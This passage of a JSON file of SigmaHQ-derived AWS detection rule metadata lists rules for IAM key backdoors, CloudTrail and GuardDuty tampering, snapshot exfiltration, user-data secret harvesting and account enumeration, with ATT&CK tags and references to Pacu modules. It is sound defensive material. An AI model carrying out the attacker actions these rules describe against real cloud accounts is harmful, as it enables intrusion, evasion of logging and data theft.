"refs": [ "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" ], "tags": [ "attack.impact", "attack.t1486", "attack.t1565" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", "value": "AWS EC2 Disable EBS Encryption" }, { "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", "meta": { "author": "faloker", "creation_date": "2020/02/12", "falsepositive": [ "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", "AWS API keys legitimate exchange workflows" ], "filename": "aws_iam_backdoor_users_keys.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", "value": "AWS IAM Backdoor Users Keys" }, { "description": "Detects the modification of the findings on SecurityHub.", "meta": { "author": "Sittikorn S", "creation_date": "2021/06/28", "falsepositive": [ "System or Network administrator behaviors", "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." ], "filename": "aws_securityhub_finding_evasion.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", "value": "AWS SecurityHub Findings Evasion" }, { "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", "meta": { "author": "Darin Smith", "creation_date": "2022/06/07", "falsepositive": [ "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" ], "filename": "aws_ecs_task_definition_backdoor.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" ], "tags": [ "attack.persistence", "attack.t1525" ] }, "related": [ { "dest-uuid": "4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", "value": "AWS ECS Backdoor Task Definition" }, { "description": "Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "aws_delete_identity.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_delete_identity.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "20f754db-d025-4a8f-9d74-e0037e999a9a", "value": "SES Identity Has Been Deleted" }, { "description": "Detects potential enumeration activity targeting AWS storage", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "aws_enum_storage.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_storage.yml" ], "tags": [ "attack.discovery", "attack.t1619" ] }, "related": [ { "dest-uuid": "8565825b-21c8-4518-b75e-cbc4c717a156", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4723218f-2048-41f6-bcb0-417f2d784f61", "value": "Potential Storage Enumeration on AWS" }, { "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", "meta": { "author": "Darin Smith", "creation_date": "2021/05/17", "falsepositive": [ "Valid change to a snapshot's permissions" ], "filename": "aws_snapshot_backup_exfiltration.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://www.justice.gov/file/1080281/download", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" ], "tags": [ "attack.exfiltration", "attack.t1537" ] }, "related": [ { "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", "value": "AWS Snapshot Backup Exfiltration" }, { "description": "Detects potential enumeration activity targeting an AWS instance backups", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "aws_enum_backup.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_backup.yml" ], "tags": [ "attack.discovery", "attack.t1580" ] }, "related": [ { "dest-uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "76255e09-755e-4675-8b6b-dbce9842cd2a", "value": "Potential Backup Enumeration on AWS" }, { "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/15", "falsepositive": [ "Unknown" ], "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", "value": "AWS EFS Fileshare Mount Modified or Deleted" }, { "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", "meta": { "author": "Elastic, Austin Songer @austinsonger", "creation_date": "2021/07/22", "falsepositive": [ "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_route_53_domain_transferred_to_another_account.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" ], "tags": [ "attack.persistence", "attack.credential_access", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", "value": "AWS Route 53 Domain Transferred to Another Account" }, { "description": "Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/12", "falsepositive": [ "Legitimate SES configuration activity" ], "filename": "aws_ses_messaging_enabled.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ses_messaging_enabled.yml" ], "tags": [ "attack.t1583.006", "attack.resource_development" ] }, "related": [ { "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60b84424-a724-4502-bd0d-cc676e1bc90e", "value": "Potential AWS Cloud Email Service Abuse" }, { "description": "Detects when an user creates or invokes a lambda function.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/03", "falsepositive": [ "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_lambda_function_created_or_invoked.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1078" ] }, "uuid": "d914951b-52c8-485f-875e-86abab710c0b", "value": "AWS Lambda Function Created or Invoked" }, { "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", "Automated processes that uses Terraform may lead to false positives." ], "filename": "aws_sts_assumerole_misuse.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", "https://github.com/elastic/detection-rules/pull/1214", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.t1548", "attack.t1550", "attack.t1550.001" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", "value": "AWS STS AssumeRole Misuse" }, { "description": "Detects the change of database master password. It may be a part of data exfiltration.", "meta": { "author": "faloker", "creation_date": "2020/02/12", "falsepositive": [ "Benign changes to a db instance" ], "filename": "aws_rds_change_master_password.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" ], "tags": [ "attack.exfiltration", "attack.t1020" ] }, "related": [ { "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", "value": "AWS RDS Master Password Change" }, { "description": "Identifies when an ElastiCache security group has been modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_elasticache_security_group_modified_or_deleted.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", "value": "AWS ElastiCache Security Group Modified or Deleted" }, { "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", "meta": { "author": "Austin Songer", "creation_date": "2021/09/22", "falsepositive": [ "Automated processes that uses Terraform may lead to false positives.", "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_susp_saml_activity.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" ], "tags": [ "attack.initial_access", "attack.t1078", "attack.lateral_movement", "attack.t1548", "attack.privilege_escalation", "attack.t1550", "attack.t1550.001" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", "value": "AWS Suspicious SAML Activity" }, { "description": "Identifies when an EKS cluster is created or deleted.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/16", "falsepositive": [ "EKS Cluster being created or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_eks_cluster_created_or_deleted.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://any-api.com/amazonaws_com/eks/docs/API_Description", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", "value": "AWS EKS Cluster Created or Deleted" }, { "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", "meta": { "author": "faloker", "creation_date": "2020/02/12", "falsepositive": [ "Unknown" ], "filename": "aws_rds_public_db_restore.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" ], "tags": [ "attack.exfiltration", "attack.t1020" ] }, "related": [ { "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", "value": "Restore Public AWS RDS Instance" }, { "description": "Detects disabling, deleting and updating of a Trail", "meta": { "author": "vitaliy0x1", "creation_date": "2020/01/21", "falsepositive": [ "Valid change in a Trail" ], "filename": "aws_cloudtrail_disable_logging.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", "value": "AWS CloudTrail Important Change" }, { "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", "meta": { "author": "faloker", "creation_date": "2020/02/12", "falsepositive": [ "Valid changes to the startup script" ], "filename": "aws_ec2_startup_script_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.t1059.003", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", "value": "AWS EC2 Startup Shell Script Change" }, { "description": "Looks for potential enumeration of AWS buckets via ListBuckets.", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", "creation_date": "2023/01/06", "falsepositive": [ "Administrators listing buckets, it may be necessary to filter out users who commonly conduct this activity." ], "filename": "aws_enum_buckets.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/", "https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md", "https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_buckets.yml" ], "tags": [ "attack.discovery", "attack.t1580" ] }, "related": [ { "dest-uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f305fd62-beca-47da-ad95-7690a0620084", "value": "Potential Bucket Enumeration on AWS" }, { "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", "meta": { "author": "toffeebr33k", "creation_date": "2021/08/09", "falsepositive": [ "Legit User Account Administration" ], "filename": "aws_update_login_profile.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", "value": "AWS User Login Profile Was Modified" }, { "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", "meta": { "author": "Diogo Braz", "creation_date": "2020/04/16", "falsepositive": "No established falsepositives", "filename": "aws_ec2_vm_export_failure.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" ], "tags": [ "attack.collection", "attack.t1005", "attack.exfiltration", "attack.t1537" ] }, "related": [ { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", "value": "AWS EC2 VM Export Failure" }, { "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", "meta": { "author": "faloker", "creation_date": "2020/02/11", "falsepositive": [ "Assets management software like device42" ], "filename": "aws_ec2_download_userdata.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" ], "tags": [ "attack.exfiltration", "attack.t1020" ] }, "related": [ { "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", "value": "AWS EC2 Download Userdata" }, { "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_sts_getsessiontoken_misuse.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/pull/1213", "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.t1548", "attack.t1550", "attack.t1550.001" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", "value": "AWS STS GetSessionToken Misuse" }, { "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", "meta": { "author": "faloker", "creation_date": "2020/02/11", "falsepositive": [ "Valid change in the GuardDuty (e.g. to ignore internal scanners)" ], "filename": "aws_guardduty_disruption.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", "value": "AWS GuardDuty Important Change" }, { "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", "meta": { "author": "Austin Songer", "creation_date": "2021/09/23", "falsepositive": [ "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_attached_malicious_lambda_layer.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", "value": "AWS Attached Malicious Lambda Layer" }, { "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", "meta": { "author": "Elastic, Austin Songer @austinsonger", "creation_date": "2021/07/22", "falsepositive": [ "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_route_53_domain_transferred_lock_disabled.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" ], "tags": [ "attack.persistence", "attack.credential_access", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", "value": "AWS Route 53 Domain Transfer Lock Disabled" }, { "description": "Detects evade to Macie detection.", "meta": { "author": "Sittikorn S", "creation_date": "2021/07/06", "falsepositive": [ "System or Network administrator behaviors" ], "filename": "aws_macic_evasion.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/cli/latest/reference/macie/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", "value": "AWS Macie Evasion" }, { "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/15", "falsepositive": [ "Unknown" ], "filename": "aws_efs_fileshare_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", "value": "AWS EFS Fileshare Modified or Deleted" }, { "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", "meta": { "author": "toffeebr33k", "creation_date": "2020/11/21", "falsepositive": [ "AWS Config or other configuration scanning activities" ], "filename": "aws_enum_listing.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" ], "tags": [ "attack.discovery", "attack.t1592" ] }, "related": [ { "dest-uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", "value": "Account Enumeration on AWS" }, { "description": "Detects network enumeration performed on AWS.", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "aws_enum_network.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_network.yml" ], "tags": [ "attack.discovery", "attack.t1016" ] }, "uuid": "c3d53999-4b14-4ddd-9d9b-e618c366b54d", "value": "Potential Network Enumeration on AWS" }, { "description": "Detects possible suspicious glue development endpoint activity.", "meta": { "author": "Austin Songer 